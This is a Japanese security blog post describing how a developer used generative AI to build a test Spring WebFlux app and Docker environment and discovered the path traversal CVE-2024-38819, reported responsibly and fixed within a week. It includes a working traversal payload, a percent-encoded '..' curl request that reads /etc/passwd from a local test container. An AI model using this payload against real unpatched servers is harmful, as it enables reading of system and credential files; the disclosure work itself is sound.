AeyeScan blog 第10回「生成 AI を試してみたら、未知の脆弱性を発見して CVE を取得できた件」 | ScanNetSecurity
2026.01.03(土)

AeyeScan blog 第10回「生成 AI を試してみたら、未知の脆弱性を発見して CVE を取得できた件」

 先日 Spring の Path Traversal CVE-2024-38819 の脆弱性を報告しました。この脆弱性は生成AI を活用して発見したものです。本記事では、その発見に至る経緯と、未知の脆弱性を見つけるために生成AI をどのように活用したのか、その具体的な方法について解説します。

製品・サービス・業界動向 業界動向
https://spring.io/security/cve-2024-38819
https://spring.io/security/cve-2024-38819 全 2 枚 拡大写真

 開発部の安西です。

 先日 Spring の Path Traversal CVE-2024-38819 の脆弱性を報告しました。この脆弱性は生成AI を活用して発見したものです。本記事では、その発見に至る経緯と、未知の脆弱性を見つけるために生成AI をどのように活用したのか、その具体的な方法について解説します。

●発見に至る経緯

 CVE-2024-38819 の脆弱性は、類似の脆弱性である CVE-2024-38816 を調査している時に発見しました。

 以下がその調査結果です。

1.アドバイザリによると、この脆弱性は Spring Framework 6.1.13 で修正されました。

2.アドバイザリによると、この脆弱性の発動条件は以下の通りです:
 a.WebMvc.fn か WebFlux.fn を使用している
 b.Web アプリケーションが RouterFunctions を使用して静的リソースを提供している
 c.リソースハンドリングが FileSystemResource で明示的に設定されている
 d.Spring Security の HTTP ファイアウォールを使用していない
 e.アプリケーションが Tomcat または Jetty 上で実行されていない

3.Spring6.1.13 のリースノートを確認した結果、以下の 2 つの問題がこの脆弱性に関連していそうです:
 a.Issue #33424: PathMatchingResourcePatternResolver no longer follows symlinks #33424
  ■関連するコミット の要約: シンボリックリンクを辿るようにコードが修正された
 b.Issue #33434: Updates to resource handling for functional endpoints
  ■関連するコミット の要約: %エンコードされた文字をサニタイズするようコードが修正された

 これらは非常に複雑なため、Spring の使用経験がないと理解が困難です。通常は調査の継続をあきらめるところですが、今回は生成AI を活用して継続できるか試してみました。

●生成AIの活用

プロンプト

以下の条件を満たすアプリケーションを作成してください

- WebMvc.fn か WebFlux.fnを使用している
- RouterFunctions を使用して静的リソースを提供している
- リソースハンドリングが FileSystemResource で明示的に設定されている
- Spring Security の HTTP ファイアウォールを使用していない
- アプリケーションが Tomcat または Jetty 上で実行されていない


結果の抜粋

WebFluxを使用したアプリケーションを作成しました。

package com.example;

import org.springframework.core.SpringVersion;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.context.annotation.Bean;
import org.springframework.core.io.FileSystemResource;
import org.springframework.web.reactive.function.server.RouterFunction;
import org.springframework.web.reactive.function.server.RouterFunctions;
import org.springframework.web.reactive.function.server.ServerResponse;

@SpringBootApplication
public class PathTraversalDemoApplication {

  public static void main(String[] args) {
    SpringApplication.run(PathTraversalDemoApplication.class, args);
}

  @Bean
  public RouterFunction<ServerResponse> staticResourceRouter() {
    return RouterFunctions.resources("/static/**", new
FileSystemResource("/app/static/"));
  }
}

 それらしいコードが出力され、一気に見晴らしが良くなりました。

 /static/** は URL の一部であり、/app/staticディレクトリを静的リソースのルートパスとして使用していそうです。

 追加で確認してみます。

プロンプト

このコードについて解説してください。 どのようなURLでアクセスできますか?


結果の抜粋

RouterFunctions.resources("/static/**", new FileSystemResource("/app/static/")) により、

/static/ から始まるURL に対して、ローカルの /app/static/ ディレクトリ内のリソースを提供する設定になっています。

URL |  実際にアクセスするファイル

http://localhost:8080/static/index.html | /app/static/index.html

http://localhost:8080/static/images/logo.png | /app/static/images/logo.png

http://localhost:8080/static/css/style.css | /app/static/css/style.css

つまり、

/static/ 以下にリクエストすると、/app/static/ 内のファイルをそのまま取得できます。

 さらに分かりやすくなりました。

 Docker の作成も試してみます。動作環境が作成できれば、検証が進みそうです。

プロンプト

このプログラムが動作するDockerを作成してください。ビルドはbuild.gradleを使用してDocker内で実行する構成としてください。
http://localhost:8080/static/index.html でアクセスできるように静的ファイルの配置もお願いします。シンボリックリンクも使用してください。


結果の抜粋(AI の出力を説明用に一部修正し、最終的に動作したものを記載しています)

Dockerfile

# 1. Gradle を含む OpenJDK イメージでビルド
FROM gradle:8.4-jdk17 AS build

# 2. 作業ディレクトリを作成
WORKDIR /app

# 3. プロジェクトファイルをコピー
COPY . .

# 4. Gradle でアプリケーションをビルド
RUN gradle build --no-daemon

# 5. 軽量な OpenJDK イメージを使う
FROM openjdk:17-jdk-slim

# 6. 作業ディレクトリを作成
WORKDIR /app

# 7. JAR ファイルをコピー
COPY --from=build /app/build/libs/*.jar app.jar

# 8. 静的リソースのディレクトリを作成
RUN mkdir -p /app/static
RUN mkdir -p /www2/

# 9. `index.html` を作成
RUN echo "<!DOCTYPE html><html><head><title>Static
Page</title></head><body><h1>Hello from Static File!</h1></body></html>" >
/www2/index.html

# 10. シンボリックリンク `/app/static` → `/www2`
RUN ln -s /www2/ /app/static/link

# 11. アプリケーションを起動
CMD ["java", "-jar", "app.jar"]


build.gradle

plugins {
  id 'java'
  id 'org.springframework.boot' version '3.3.3' // Spring framework 6.1.12に対応
するバージョン
  id 'io.spring.dependency-management' version '1.1.3'
}

group = 'com.example'
version = '1.0-SNAPSHOT'
sourceCompatibility = '17'

repositories {
  mavenCentral()
}

dependencies {
  implementation 'org.springframework.boot:spring-boot-starter-webflux'
}


ビルド手順

Dockerイメージのビルド

 docker build -t webflux-app .

Dockerコンテナの実行

 docker run -p 8080:8080 webflux-app


 ビルド手順も出力してくれたので、実行してみます。

 無事起動したようです。

 curl での接続確認も成功しました。

curl "http://localhost:8080/static/link/index.html"

<!DOCTYPE html><html><head><title>Static Page</title></head><body><h1>Hello fromStatic File!</h1></body></html>


●既知の脆弱性の検証

 環境が作成できたので、次は攻撃用payload を探します。%エンコードされた文字をサニタイズするよう修正されていることを確認済みなので、まずは以下を試してみます。

curl "http://localhost:8080/static/link/%2e%2e/link/index.html"

<!DOCTYPE html><html><head><title>Static Page</title></head><body><h1>Hello fromStatic File!</h1></body></html>


 怪しい挙動です。続けてパストラバーサルの典型パターンで試してみます。

curl "http://localhost:8080/static/link/%2e%2e/etc/passwd"

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

(略)


 攻撃が成功しました。

 最後に Spring のバージョンを修正済みである 6.1.13 に上げて、攻撃が失敗することを確認したら検証完了です。ところが、予想に反して修正バージョンでも攻撃が成立しました。

●未知の脆弱性の発見

 修正版でも攻撃が成立したため、Spring セキュリティチームに問い合わせたところ、「CVE-2024-38816」と類似しているものの、発動箇所が異なる未知の脆弱性であるとの回答があり、新しい CVE が発行されることになりました。

 報告から修正版リリースまでのタイムラインは以下の通りです。

 脆弱アプリ、再現用の Docker、攻撃用payload を報告内容に含めたことが功を奏したのか、報告から修正までわずか 1 週間という短期間で CVE が公開されました(過去の経験上、CVE の公開には数ヶ月~数年かかることが一般的なため、驚きました)。

- 10月10日: 脆弱性を報告
- 10月11日: 脆弱性を確認した旨の返信を受領
- 10月15日: 脆弱性修正コードのコードレビュー依頼とリリース予定日の連絡あり
- 10月17日: 修正版がリリース

●まとめ

 以上、生成AI を活用して CVE を取得した話を記載しました。今回は結果として未知の脆弱性の発見に繋がりましたが、既知の脆弱性の分析や PoC作成にも充分実用性があると思われます。

 エーアイセキュリティラボでは、生成AI の活用に注力しており、AeyeScan への統合や、その他の製品への応用の可能性を日々研究しています。生成AI を活用した機能のトライアルも可能ですので、ご興味ある方はぜひお試しください。

《株式会社エーアイセキュリティラボ 安西 真人》

関連記事

この記事の写真

/

特集

PageTop

アクセスランキング

  1. 請求者に「百条委員会の中で、会議録は非公開の部分ではと思います」は市議会会議規則第113条第2項に違反

    請求者に「百条委員会の中で、会議録は非公開の部分ではと思います」は市議会会議規則第113条第2項に違反

  2. 保証人に送付した学費請求書の住所に誤り、個人情報が漏えい(横浜市立大学)

    保証人に送付した学費請求書の住所に誤り、個人情報が漏えい(横浜市立大学)

  3. fjコンサル「キャッシュレスセキュリティレポート 2023年1Q」公表、カード情報流出件数 173,332件

    fjコンサル「キャッシュレスセキュリティレポート 2023年1Q」公表、カード情報流出件数 173,332件

  4. HENNGE One、iPad 受付システム「Smart at reception」へ SSO 連携

    HENNGE One、iPad 受付システム「Smart at reception」へ SSO 連携

  5. クリックしていないのにアダルトサイトに登録させる「ゼロクリック詐欺」(シマンテック)

    クリックしていないのにアダルトサイトに登録させる「ゼロクリック詐欺」(シマンテック)

ランキングをもっと見る
PageTop